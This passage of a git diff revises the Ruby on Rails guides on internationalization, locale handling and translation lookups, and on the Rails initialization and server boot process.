+NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Few gems such as [Globalize3](https://github.com/globalize/globalize) may help you implement it.
 
 The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
 
 NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
 
-The default `application.rb` files has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
+The default `application.rb` file has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
 
 ```ruby
 # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
@@ -137,7 +139,7 @@ If you want to translate your Rails application to a **single language other tha
 
 However, you would probably like to **provide support for more locales** in your application. In such case, you need to set and pass the locale between requests.
 
-WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
+WARNING: You may be tempted to store the chosen locale in a _session_ or a *cookie*. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [*RESTful*](http://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
 
 The _setting part_ is easy. You can set the locale in a `before_action` in the `ApplicationController` like this:
 
@@ -179,7 +181,7 @@ end
 # in your /etc/hosts file to try this out locally
 def extract_locale_from_tld
   parsed_locale = request.host.split('.').last
-  I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
+  I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
 end
 ```
 
@@ -192,7 +194,7 @@ We can also set the locale from the _subdomain_ in a very similar way:
 # in your /etc/hosts file to try this out locally
 def extract_locale_from_subdomain
   parsed_locale = request.subdomains.first
-  I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
+  I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
 end
 ```
 
@@ -212,17 +214,16 @@ The most usual way of setting (and passing) the locale would be to include it in
 
 This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
 
-Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL (e.g. `link_to( books_url(locale: I18n.locale))`) would be tedious and probably impossible, of course.
+Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL, e.g. `link_to(books_url(locale: I18n.locale))`, would be tedious and probably impossible, of course.
 
-Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000503) and helper methods dependent on it (by implementing/overriding this method).
+Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options), which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) and helper methods dependent on it (by implementing/overriding this method).
 
 We can include something like this in our `ApplicationController` then:
 
 ```ruby
 # app/controllers/application_controller.rb
-def default_url_options(options={})
-  logger.debug "default_url_options is passed options: #{options.inspect}\n"
-  { locale: I18n.locale }
+def default_url_options(options = {})
+  { locale: I18n.locale }.merge options
 end
 ```
 
@@ -263,7 +264,7 @@ get '/:locale' => 'dashboard#index'
 
 Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.)
 
-NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master) and Raul Murciano's [translate_routes](https://github.com/raul/translate_routes/tree/master).
+NOTE: Have a look at various gems which simplify working with routes: [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master), [rails-translate-routes](https://github.com/francesc/rails-translate-routes), [route_translator](https://github.com/enriclluelles/route_translator).
 
 ### Setting the Locale from the Client Supplied Information
 
@@ -282,13 +283,14 @@ def set_locale
   I18n.locale = extract_locale_from_accept_language_header
   logger.debug "* Locale set to '#{I18n.locale}'"
 end
+
 private
-def extract_locale_from_accept_language_header
-  request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
-end
+  def extract_locale_from_accept_language_header
+    request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+  end
 ```
 
-Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb).
+Of course, in a production environment you would need much more robust code, and could use a gem such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb).
 
 #### Using GeoIP (or Similar) Database
 
@@ -309,12 +311,23 @@ You most probably have something like this in one of your applications:
 
 ```ruby
 # config/routes.rb
-Yourapp::Application.routes.draw do
+Rails.application.routes.draw do
   root to: "home#index"
 end
 ```
 
 ```ruby
+# app/controllers/application_controller.rb
+class ApplicationController < ActionController::Base
+  before_action :set_locale
+
+  def set_locale
+    I18n.locale = params[:locale] || I18n.default_locale
+  end
+end
+```
+
+```ruby
 # app/controllers/home_controller.rb
 class HomeController < ApplicationController
   def index
@@ -358,7 +371,7 @@ NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do
 
 So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
 
-```ruby
+```yaml
 # config/locales/en.yml
 en:
   hello_world: Hello world!
@@ -410,7 +423,7 @@ OK! Now let's add a timestamp to the view, so we can demo the **date/time locali
 
 And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
 
-```ruby
+```yaml
 # config/locales/pirate.yml
 pirate:
   time:
@@ -426,11 +439,11 @@ TIP: Right now you might need to add some more date/time formats in order to mak
 
 ### Inflection Rules For Other Locales
 
-Rails 4.0 allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.
+Rails allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.
 
 ### Localized Views
 
-Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in `public`, etc.)
+Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in `public`, etc.)
 
 You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
 
@@ -473,19 +486,19 @@ NOTE: The default locale loading mechanism in Rails does not load locale files i
 
 ```
 
-Do check the [Rails i18n Wiki](http://rails-i18n.org/wiki) for list of tools available for managing translations.
-
 Overview of the I18n API Features
 ---------------------------------
 
 You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth.
 
+These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additional feature provide by the view helper method).
+
 Covered are features like these:
 
 * looking up translations
 * interpolating data into translations
 * pluralizing translations
-* using safe HTML translations
+* using safe HTML translations (view helper method only)
 * localizing dates, numbers, currency, etc.
 
 ### Looking up Translations
@@ -517,7 +530,7 @@ Thus the following calls are equivalent:
 
 ```ruby
 I18n.t 'activerecord.errors.messages.record_invalid'
-I18n.t 'errors.messages.record_invalid', scope: :active_record
+I18n.t 'errors.messages.record_invalid', scope: :activerecord
 I18n.t :record_invalid, scope: 'activerecord.errors.messages'
 I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
 ```
@@ -573,6 +586,27 @@ you can look up the `books.index.title` value **inside** `app/views/books/index.
 <%= t '.title' %>
 ```
 
+NOTE: Automatic translation scoping by partial is only available from the `translate` view helper method.
+
+"Lazy" lookup can also be used in _controllers_:
+
+```yaml
+en:
+  books:
+    create:
+      success: Book created!
+```
+which is especially useful for setting flash messages:
+
+```ruby
+class BooksController < ApplicationController
+  def create
+    # ...
+    redirect_to books_url, notice: t('.success')
+  end
+end
+```
+
 ### Interpolation
 
 In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature.
@@ -613,7 +647,7 @@ entry[count == 1 ? 0 : 1]
 
 I.e. the translation denoted as `:one` is regarded as singular, the other is used as plural (including the count being zero).
 
-If the lookup for the key does not return a Hash suitable for pluralization, an `18n::InvalidPluralizationData` exception is raised.
+If the lookup for the key does not return a Hash suitable for pluralization, an `I18n::InvalidPluralizationData` exception is raised.
 
 ### Setting and Passing a Locale
 
@@ -642,7 +676,7 @@ I18n.default_locale = :de
 
 ### Using Safe HTML Translations
 
-Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
+Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped.
 
 ```yaml
 # config/locales/en.yml
@@ -661,56 +695,25 @@ en:
 <div><%= t('title.html') %></div>
 ```
 
-![i18n demo html safe](images/i18n/demo_html_safe.png)
-
-How to Store your Custom Translations
--------------------------------------
-
-The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2]
-
-For example a Ruby Hash providing translations can look like this:
+Interpolation escapes as needed though. For example, given:
 
-```ruby
-{
-  pt: {
-    foo: {
-      bar: "baz"
-    }
-  }
-}
-```
-
-The equivalent YAML file would look like this:
-
-```ruby
-pt:
-  foo:
-    bar: baz
+```yaml
+en:
+  welcome_html: "<b>Welcome %{username}!</b>"
 ```
 
-As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz".
-
-Here is a "real" example from the Active Support `en.yml` translations YAML file:
+you can safely pass the username as set by the user:
 
-```ruby
-en:
-  date:
-    formats:
-      default: "%Y-%m-%d"
-      short: "%b %d"
-      long: "%B %d, %Y"
+```erb
+<%# This is safe, it is going to be escaped if needed. %>
+<%= t('welcome_html', username: @current_user.username %>
 ```
 
-So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`:
+Safe strings on the other hand are interpolated verbatim.
 
-```ruby
-I18n.t 'date.formats.short'
-I18n.t 'formats.short', scope: :date
-I18n.t :short, scope: 'date.formats'
-I18n.t :short, scope: [:date, :formats]
-```
+NOTE: Automatic conversion to HTML safe translate text is only available from the `translate` view helper method.
 
-Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
+![i18n demo html safe](images/i18n/demo_html_safe.png)
 
 ### Translations for Active Record Models
 
@@ -718,7 +721,7 @@ You can use the methods `Model.model_name.human` and `Model.human_attribute_name
 
 For example when you add the following translations:
 
-```ruby
+```yaml
 en:
   activerecord:
     models:
@@ -733,7 +736,7 @@ Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("
 
 You can also set a plural form for model names, adding as following:
 
-```ruby
+```yaml
 en:
   activerecord:
     models:
@@ -742,7 +745,20 @@ en:
         other: Dudes
 ```
 
-Then `User.model_name.human(:count => 2)` will return "Dudes". With `:count => 1` or without params will return "Dude".
+Then `User.model_name.human(count: 2)` will return "Dudes". With `count: 1` or without params will return "Dude".
+
+In the event you need to access nested attributes within a given model, you should nest these under `model/attribute` at the model level of your translation file:
+
+```yaml
+en:
+  activerecord:
+    attributes:
+      user/gender:
+        female: "Female"
+        male: "Male"
+```
+
+Then `User.human_attribute_name("gender.female")` will return "Female".
 
 #### Error Message Scopes
 
@@ -806,15 +822,16 @@ This way you can provide special translations for various error messages at diff
 
 The translated model name, translated attribute name, and value are always available for interpolation.
 
-So, for example, instead of the default error message `"can not be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
+So, for example, instead of the default error message `"cannot be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
 
 * `count`, where available, can be used for pluralization if present:
 
 | validation   | with option               | message                   | interpolation |
 | ------------ | ------------------------- | ------------------------- | ------------- |
-| confirmation | -                         | :confirmation             | -             |
+| confirmation | -                         | :confirmation             | attribute     |
 | acceptance   | -                         | :accepted                 | -             |
 | presence     | -                         | :blank                    | -             |
+| absence      | -                         | :present                  | -             |
 | length       | :within, :in              | :too_short                | count         |
 | length       | :within, :in              | :too_long                 | count         |
 | length       | :is                       | :wrong_length             | count         |
@@ -831,6 +848,8 @@ So, for example, instead of the default error message `"can not be blank"` you c
 | numericality | :equal_to                 | :equal_to                 | count         |
 | numericality | :less_than                | :less_than                | count         |
 | numericality | :less_than_or_equal_to    | :less_than_or_equal_to    | count         |
+| numericality | :other_than               | :other_than               | count         |
+| numericality | :only_integer             | :not_an_integer           | -             |
 | numericality | :odd                      | :odd                      | -             |
 | numericality | :even                     | :even                     | -             |
 
@@ -877,21 +896,39 @@ en:
       subject: "Welcome to Rails Guides!"
 ```
 
+To send parameters to interpolation use the `default_i18n_subject` method on the mailer.
+
+```ruby
+# user_mailer.rb
+class UserMailer < ActionMailer::Base
+  def welcome(user)
+    mail(to: user.email, subject: default_i18n_subject(user: user.name))
+  end
+end
+```
+
+```yaml
+en:
+  user_mailer:
+    welcome:
+      subject: "%{user}, welcome to Rails Guides!"
+```
+
 ### Overview of Other Built-In Methods that Provide I18n Support
 
 Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
 
 #### Action View Helper Methods
 
-* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L51) translations.
+* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L4) translations.
 
-* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L83) scope if applicable.
+* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L39) scope if applicable.
 
-* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L2) scope.
+* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L37) scope.
 
 #### Active Model Methods
 
-* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
+* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L36) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
 
 * `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
 
@@ -899,14 +936,63 @@ Rails uses fixed strings and other localizations, such as format strings and oth
 
 #### Active Support Methods
 
-* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30) scope.
+* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L33) scope.
+
+How to Store your Custom Translations
+-------------------------------------
+
+The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2]
+
+For example a Ruby Hash providing translations can look like this:
+
+```yaml
+{
+  pt: {
+    foo: {
+      bar: "baz"
+    }
+  }
+}
+```
+
+The equivalent YAML file would look like this:
+
+```yaml
+pt:
+  foo:
+    bar: baz
+```
+
+As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz".
+
+Here is a "real" example from the Active Support `en.yml` translations YAML file:
+
+```yaml
+en:
+  date:
+    formats:
+      default: "%Y-%m-%d"
+      short: "%b %d"
+      long: "%B %d, %Y"
+```
+
+So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`:
+
+```ruby
+I18n.t 'date.formats.short'
+I18n.t 'formats.short', scope: :date
+I18n.t :short, scope: 'date.formats'
+I18n.t :short, scope: [:date, :formats]
+```
+
+Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
 
 Customize your I18n Setup
 -------------------------
 
 ### Using Different Backends
 
-For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
+For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format.
 
 That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
 
@@ -986,9 +1072,9 @@ If you find anything missing or wrong in this guide, please file a ticket on our
 Contributing to Rails I18n
 --------------------------
 
-I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
+I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in gems and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
 
-Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n!))
+Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n!))
 
 If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data and send a [pull request](https://github.com/guides/pull-requests).
 
@@ -996,7 +1082,6 @@ If you find your own locale (language) missing from our [example translations da
 Resources
 ---------
 
-* [rails-i18n.org](http://rails-i18n.org) - Homepage of the rails-i18n project. You can find lots of useful resources on the [wiki](http://rails-i18n.org/wiki).
 * [Google group: rails-i18n](http://groups.google.com/group/rails-i18n) - The project's mailing list.
 * [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n/tree/master) - Code repository for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases.
 * [GitHub: i18n](https://github.com/svenfuchs/i18n/tree/master) - Code repository for the i18n gem.
@@ -1016,7 +1101,7 @@ If you found this guide useful, please consider recommending its authors on [wor
 Footnotes
 ---------
 
-[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization:) _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
+[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
 
 [^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
 
diff --git a/guides/source/index.html.erb b/guides/source/index.html.erb
index 57c224c165..2fdf18a2e9 100644
--- a/guides/source/index.html.erb
+++ b/guides/source/index.html.erb
@@ -9,6 +9,7 @@ Ruby on Rails Guides
 <% content_for :index_section do %>
 <div id="subCol">
   <dl>
+    <dt></dt>
     <dd class="kindle">Rails Guides are also available for <%= link_to 'Kindle', @mobi %>.</dd>
     <dd class="work-in-progress">Guides marked with this icon are currently being worked on and will not be available in the Guides Index menu. While still useful, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections.</dd>
   </dl>
diff --git a/guides/source/initialization.md b/guides/source/initialization.md
index c78eef5bf0..8fbb234698 100644
--- a/guides/source/initialization.md
+++ b/guides/source/initialization.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 The Rails Initialization Process
 ================================
 
@@ -29,9 +31,42 @@ quickly.
 Launch!
 -------
 
-Let's start to boot and initialize the app. It all begins with your app's
-`bin/rails` executable. A Rails application is usually started by running
-`rails console` or `rails server`.
+Let's start to boot and initialize the app. A Rails application is usually
+started by running `rails console` or `rails server`.
+
+### `railties/bin/rails`
+
+The `rails` in the command `rails server` is a ruby executable in your load
+path. This executable contains the following lines:
+
+```ruby
+version = ">= 0"
+load Gem.bin_path('railties', 'rails', version)
+```
+
+If you try out this command in a Rails console, you would see that this loads
+`railties/bin/rails`. A part of the file `railties/bin/rails.rb` has the
+following code:
+
+```ruby
+require "rails/cli"
+```
+
+The file `railties/lib/rails/cli` in turn calls
+`Rails::AppRailsLoader.exec_app_rails`.
+
+### `railties/lib/rails/app_rails_loader.rb`
+
+The primary goal of the function `exec_app_rails` is to execute your app's
+`bin/rails`. If the current directory does not have a `bin/rails`, it will
+navigate upwards until it finds a `bin/rails` executable. Thus one can invoke a
+`rails` command from anywhere inside a rails application.
+
+For `rails server` the equivalent of the following command is executed:
+
+```bash
+$ exec ruby bin/rails server
+```
 
 ### `bin/rails`
 
@@ -54,7 +89,7 @@ The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot
 # Set up gems listed in the Gemfile.
 ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
 
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
 ```
 
 In a standard Rails application, there's a `Gemfile` which declares all
@@ -65,9 +100,9 @@ configure the load path for your Gemfile's dependencies.
 
 A standard Rails application depends on several gems, specifically:
 
-* abstract
 * actionmailer
 * actionpack
+* actionview
 * activemodel
 * activerecord
 * activesupport
@@ -78,7 +113,6 @@ A standard Rails application depends on several gems, specifically:
 * i18n
 * mail
 * mime-types
-* polyglot
 * rack
 * rack-cache
 * rack-mount
@@ -86,14 +120,15 @@ A standard Rails application depends on several gems, specifically:
 * rails
 * railties
 * rake
-* sqlite3-ruby
+* sqlite3
 * thor
-* treetop
 * tzinfo
 
 ### `rails/commands.rb`
 
-Once `config/boot.rb` has finished, the next file that is required is `rails/commands` which will execute a command based on the arguments passed in. In this case, the `ARGV` array simply contains `server` which is extracted into the `command` variable using these lines:
+Once `config/boot.rb` has finished, the next file that is required is
+`rails/commands`, which helps in expanding aliases. In the current case, the
+`ARGV` array simply contains `server` which will be passed over:
 
 ```ruby
 ARGV << '--help' if ARGV.empty?
@@ -109,21 +144,48 @@ aliases = {
 
 command = ARGV.shift
 command = aliases[command] || command
+
+require 'rails/commands/commands_tasks'
+
+Rails::CommandsTasks.new(ARGV).run_command!(command)
 ```
 
 TIP: As you can see, an empty ARGV list will make Rails show the help
 snippet.
 
-If we used `s` rather than `server`, Rails will use the `aliases` defined in the file and match them to their respective commands. With the `server` command, Rails will run this code:
+If we had used `s` rather than `server`, Rails would have used the `aliases`
+defined here to find the matching command.
+
+### `rails/commands/command_tasks.rb`
+
+When one types an incorrect rails command, the `run_command` is responsible for
+throwing an error message. If the command is valid, a method of the same name
+is called.
 
 ```ruby
-when 'server'
-  # Change to the application's path if there is no config.ru file in current directory.
-  # This allows us to run `rails server` from other directories, but still get
-  # the main config.ru and properly set the tmp directory.
-  Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))
+COMMAND_WHITELIST = %(plugin generate destroy console server dbconsole application runner new version help)
+
+def run_command!(command)
+  command = parse_command(command)
+  if COMMAND_WHITELIST.include?(command)
+    send(command)
+  else
+    write_error_message(command)
+  end
+end
+```
+
+With the `server` command, Rails will further run the following code:
+
+```ruby
+def set_application_directory!
+  Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
+end
+
+def server
+  set_application_directory!
+  require_command!("server")
 
-  require 'rails/commands/server'
   Rails::Server.new.tap do |server|
     # We need to require application after the server sets environment,
     # otherwise the --environment option given to the server won't propagate.
@@ -131,14 +193,23 @@ when 'server'
     Dir.chdir(Rails.application.root)
     server.start
   end
+end
+
+def require_command!(command)
+  require "rails/commands/#{command}"
+end
 ```
 
-This file will change into the Rails root directory (a path two directories up from `APP_PATH` which points at `config/application.rb`), but only if the `config.ru` file isn't found. This then requires `rails/commands/server` which sets up the `Rails::Server` class.
+This file will change into the Rails root directory (a path two directories up
+from `APP_PATH` which points at `config/application.rb`), but only if the
+`config.ru` file isn't found. This then requires `rails/commands/server` which
+sets up the `Rails::Server` class.
 
 ```ruby
 require 'fileutils'
 require 'optparse'
 require 'action_dispatch'
+require 'rails'
 
 module Rails
   class Server < ::Rack::Server
@@ -202,10 +273,10 @@ def parse_options(args)
   options = default_options
 
   # Don't evaluate CGI ISINDEX parameters.
-  # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html
+  # http://www.meb.uni-bonn.de/docs/cgi/cl.html
   args.clear if ENV.include?("REQUEST_METHOD")
 
-  options.merge! opt_parser.parse! args
+  options.merge! opt_parser.parse!(args)
   options[:config] = ::File.expand_path(options[:config])
   ENV["RACK_ENV"] = options[:environment]
   options
@@ -216,18 +287,21 @@ With the `default_options` set to this:
 
 ```ruby
 def default_options
+  environment  = ENV['RACK_ENV'] || 'development'
+  default_host = environment == 'development' ? 'localhost' : '0.0.0.0'
+
   {
-    :environment => ENV['RACK_ENV'] || "development",
+    :environment => environment,
     :pid         => nil,
     :Port        => 9292,
-    :Host        => "0.0.0.0",
+    :Host        => default_host,
     :AccessLog   => [],
     :config      => "config.ru"
   }
 end
 ```
 
-There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server`
+There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server`:
 
 ```ruby
 def opt_parser
@@ -261,46 +335,52 @@ and it's free for you to change based on your needs.
 
 ### `Rails::Server#start`
 
-After `config/application` is loaded, `server.start` is called. This method is defined like this:
+After `config/application` is loaded, `server.start` is called. This method is
+defined like this:
 
 ```ruby
 def start
-  url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
-  puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
